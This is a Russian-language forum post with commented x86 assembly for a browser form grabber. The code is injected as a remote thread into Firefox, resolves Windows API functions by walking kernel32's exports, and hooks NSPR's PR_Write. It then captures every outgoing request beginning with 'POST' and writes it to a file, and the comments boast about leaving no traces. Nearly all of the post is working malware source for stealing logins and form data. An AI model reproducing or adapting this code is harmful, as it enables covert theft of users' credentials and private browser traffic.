Показать сообщение отдельно

  #2  
Старый 05.02.2010, 17:13
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию

Код:
remote_thread:
;<<<<<<<<<<<<< Здесь начинается выполнение удаленного потока в процессе FireFox >>>>>>>>>>>>>>>
;<<<<<<<<Найдём дельта смещение>>>>>>>>>>
 call delta
delta:
        pop ebp;
        sub ebp,delta
;<<<<<<<<Дельта смещение теперь находится в ebp>>>>>>>>>>	
;"Делта смещение" не страшная штука. Просто его надо добавлять ко всех адресам переменных, если кодиш в стиле шелл кода.
;Вообще шелл кодом называют всё, что внедряется и исполняется в чужом процессе.
;Так же шел коды используются для выполнения команд при переполнении буфера.
;Для таких шелл кодов правила еще строже, например нельзя, чтобы в опкодах были NULL байты, иначе выполнение прекратиться.
;опкод - это шестнадцатеричные(Fuck!) цифры соответствующие асамблерным командам.
;Их можно увидеть с помощью HEX редактора или Дебагера в исполняемом файле exe. 
        jmp First; <<< Перепрыгиваем через переменные.
;<<<<<<<<Секция переменных.>>>>>>>>>>
     KernelBase dd ?
     GPAcall dd ?
     GMHcall dd ?
     HUser32 dd ?
     VirtProt dd  ?
     OldProt db ?
     HMod dd ?
     hFile dd ?
     flbytes dd ?
     CreateFileCall dd ?
     SetFilePointerCall dd ?
     WriteFileCall dd ?
     CloseHandleCall dd ?
    FuncAdr dd ?
    eaxrest dd ?
    esprest dd ?
    ecxrest dd ?
    edxrest dd ?
    ebxrest dd ?
    edirest dd ?
    esirest dd ?
    ebprest dd ?
    dataadr dd ?
    datalen dd ?
;<<<<<<<<Секция переменных закончилась.>>>>>>>>>>
;Для писателей на более высоких языках покажется удивительным, что через переменные надо перепрыгивать. Да это дейсвительно так) 
First:
;<<<<<<<<<<<<< Ниже описан один из способов получения начала модуля KERNEL32.DLL >>>>>>>>>>>>>>>
;Не знаю чьё авторство, и точно знаю, что не моё.
;Начало модуля оно же, хэндл, база и адрес модуля.
                ;Kernel Base  ->
                xor eax,eax
                mov eax,[fs:eax+30h]
                mov eax,[eax+0ch]
                mov esi,[eax+1ch]
                lodsd
                mov eax,[eax+08h]
                mov [KernelBase+ebp],eax
                ;Kernel Export   ->
                mov edi,eax
                add edi,[eax+3ch]; NTHeader
                add edi,78h; DataDirectory
                mov esi,[edi]
                add eax,esi
                ;Addres of GetProcAddress in [GPA]

                mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
                add ebx,[KernelBase+ebp]
                mov edx,1
                _find:
                push ebx
                mov ecx,14
                mov eax,[ebx]
                add eax,[KernelBase+ebp]
                mov esi,eax
                lea edi,[GPA+ebp]
                cld
                repe cmpsb
                jz _ok
                pop ebx
                add ebx,4
                inc edx
                jmp _find
                _ok:
                xor eax,eax
                mov eax,[KernelBase+ebp]

                ;Kernel Export   ->
                mov edi,eax
                add edi,[eax+3ch]; NTHeader
                add edi,78h; DataDirectory
                mov esi,[edi]
                add eax,esi


                ;---
                mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
                add ebx,[KernelBase+ebp]
                shl  edx,1
                add ebx,edx
                mov edx,[ebx]
                movzx ebx,dx
                ;------------
                sub ebx,1
                shl ebx,2
                mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
                add eax,[KernelBase+ebp]
                add eax,ebx
                mov ecx,[eax]
                add ecx,[KernelBase+ebp]
                mov [GPAcall+ebp],ecx
                pop ecx
                ;----------------End Get Address of GetProcAddress--------			
                lea ecx,[GMH+ebp]
                lea edx,[KernelBase+ebp]
                mov edx,[edx]
                push ecx
                push edx
                call [GPAcall+ebp]
                mov [GMHcall+ebp],eax
                ;-------------End Get Address of GetModuleHanle--------
;<<<<<<<<<< Отсюда начинаются собственные разработки >>>>>>>>>>>>>>>>>	
;<<<<<<<<<< Получаем адреса WinAPI функций используемых в коде>>>>>>>>>>>>>>>>>	
;Получение адресов нужно, потому что мы инжектили код без Таблицы Импорта API функций (IAT).			
                mov ecx,USER32; <<< В ECX помещается имя модуля, в качестве параметра.
                call GetModHandle; <<< Вызов самопальной метки, которая возвращает хэндл модуля.
                mov [HUser32+ebp],eax
                ;----------------- Handle of User32.dll ----------------
                mov ecx,VirtualProt;<<< В ECX помещается имя функции, в качестве параметра.
                mov eax,KernelBase;<<< В EAX помещается хэндл модуля, в которой находится функа, в качестве параметра.
                call GetAddr; <<< Вызов самопальной метки, которая возвращает адрес API функции.
                mov [VirtProt+ebp],eax
                ;----------------- VirtualProtect -----------------
                mov ecx,CreateFileStr
                mov eax,KernelBase
                call GetAddr
                mov [CreateFileCall+ebp],eax
                ;----------------  CreatFileA ---------------------
                mov ecx,SetFilePointerStr
                mov eax,KernelBase
                call GetAddr
                mov [SetFilePointerCall+ebp],eax
                ;----------------- SetFilePointer ------------------
                mov ecx,WriteFileStr
                mov eax,KernelBase
                call GetAddr
                mov [WriteFileCall+ebp],eax
                ;------------------ WriteFile -------------------
                mov ecx,CloseHandleStr
                mov eax,KernelBase
                call GetAddr
                mov [CloseHandleCall+ebp],eax
                ;---------------------- CloseHandle ----------------------
;<<<<<<<<<< Получили все WinAPI функции>>>>>>>>>>>>>>>>>	
;<<<<<<<<<< Установка перехвата>>>>>>>>>>>>>>>>>
                push NPR ; <<< Пихаем в стёк адрес на который будет происходить JMP
                push PR_WriteStr; <<< Название перехватываемой функции
                push nspr4; <<< Название модуля перехватываемой функции
                call HookAPI; <<< Вызов установки перехвата. (Метка ниже)
                ret ; <<< Удалённый поток заканчивается.
;<<<<<<<<<< Установка перехвата закончена>>>>>>>>>>>>>>>>>
				
;<<<<<<<<<< Этот код выполняется при вызове функции PR_Write(...) в контексте FireFox >>>>>>>>>>>>>>>>>
		NPR:
         ;>>>>>>>>>>>>>>>>Так называемый brige или по нашенски мостик<<<<<<<<<<<<<<<<<<
                mov eax, dword[ss:esp+4]
                mov ecx, dword [ds:eax]
         ;>>>>>>>>>>>>>>>>В мостике находятся первые затёртые команды из хукнутой функции<<<<<<<<<<<<<<<<<<
; Мостик нужен для того чтобы не переписывать начало функции по сто раз, что вызывает ошибки в многопоточных приложениях.
               ;>>>>>>>>>>>>>>>> Знакомая дельта)<<<<<<<<<<<<<<<<<<
                call deltax
             deltax:
                pop edx;
                sub edx,deltax
               ;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<<
               ;>>>>>>>>>>>>>>>>Сохраняем регистры, чтобы никто не заметил следов, что мы побывали у них дома.<<<<<<<<<<<<<<<<<<
                mov [ebxrest+edx],ebx
                mov [edirest+edx],edi
                mov [esirest+edx],esi
                mov [ecxrest+edx],ecx
                mov [ebprest+edx],ebp
                mov [eaxrest+edx],eax
                ;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<<
;Не хотелось портить стёк.				
                ;>>>>>>>>>>>>>>>>Самая ответственная часть, здесь копируем параметры функции<<<<<<<<<<<<<<<<<<
                 mov ebp,edx ; <<< Помещаем дельту в EBP
                 mov  eax,[esp+0x08]; <<< Кладём в EAX адрес начала строки запроса.
                .if dword [eax]<>'POST'; <<< Начинается ли запрос на POST?
                  jmp NoWork; <<< Если нет, скачем на метку NoWork
                .endif <<< Если нашли POST то продолжаем выполнять.
                 mov [dataadr+ebp],eax; <<< В dataadr адрес начала строки запроса.
                 mov eax,[esp+0x0C]; <<< В EAX длина запроса
                 mov [datalen+ebp],eax; <<< Теперь в datalen 
                 push [dataadr+ebp]; <<< Кладём в стёк параметр(начала строки запроса)
                 push  [datalen+ebp]; <<< Кладём в стёк параметр(длина запроса)
                 call WriteToFile; <<< Прыгаем на метку WriteToFile
            NoWork:
                 mov edx,ebp; <<< Возвращаем дельту на место (знаю можно xchg)
                ;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<<
                ;>>>>>>>>>>>>>>>>Восстанавливаем регистры<<<<<<<<<<<<<<<<<<
                mov ebx,[ebxrest+edx]
                mov edi,[edirest+edx]
                mov esi,[esirest+edx]
                mov ecx,[ecxrest+edx]
                mov ebp,[ebprest+edx]
                mov eax,[eaxrest+edx]
                ;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<<
;Не востанавливаю только edx т.к. всё равно в неё потом что то pop'ится :_)
                ;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
                mov edx,[FuncAdr+edx]; <<< В EDX адрес PR_Write()
                add edx,$06; <<< Прибавляем к edx смещение от начала в котором находятся JMP XXXXXXXX и INC ECX (6 байт опкода)             
			    jmp edx ; <<< Джампим на edx
                ;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
                ret

Последний раз редактировалось krenki; 05.02.2010 в 17:53..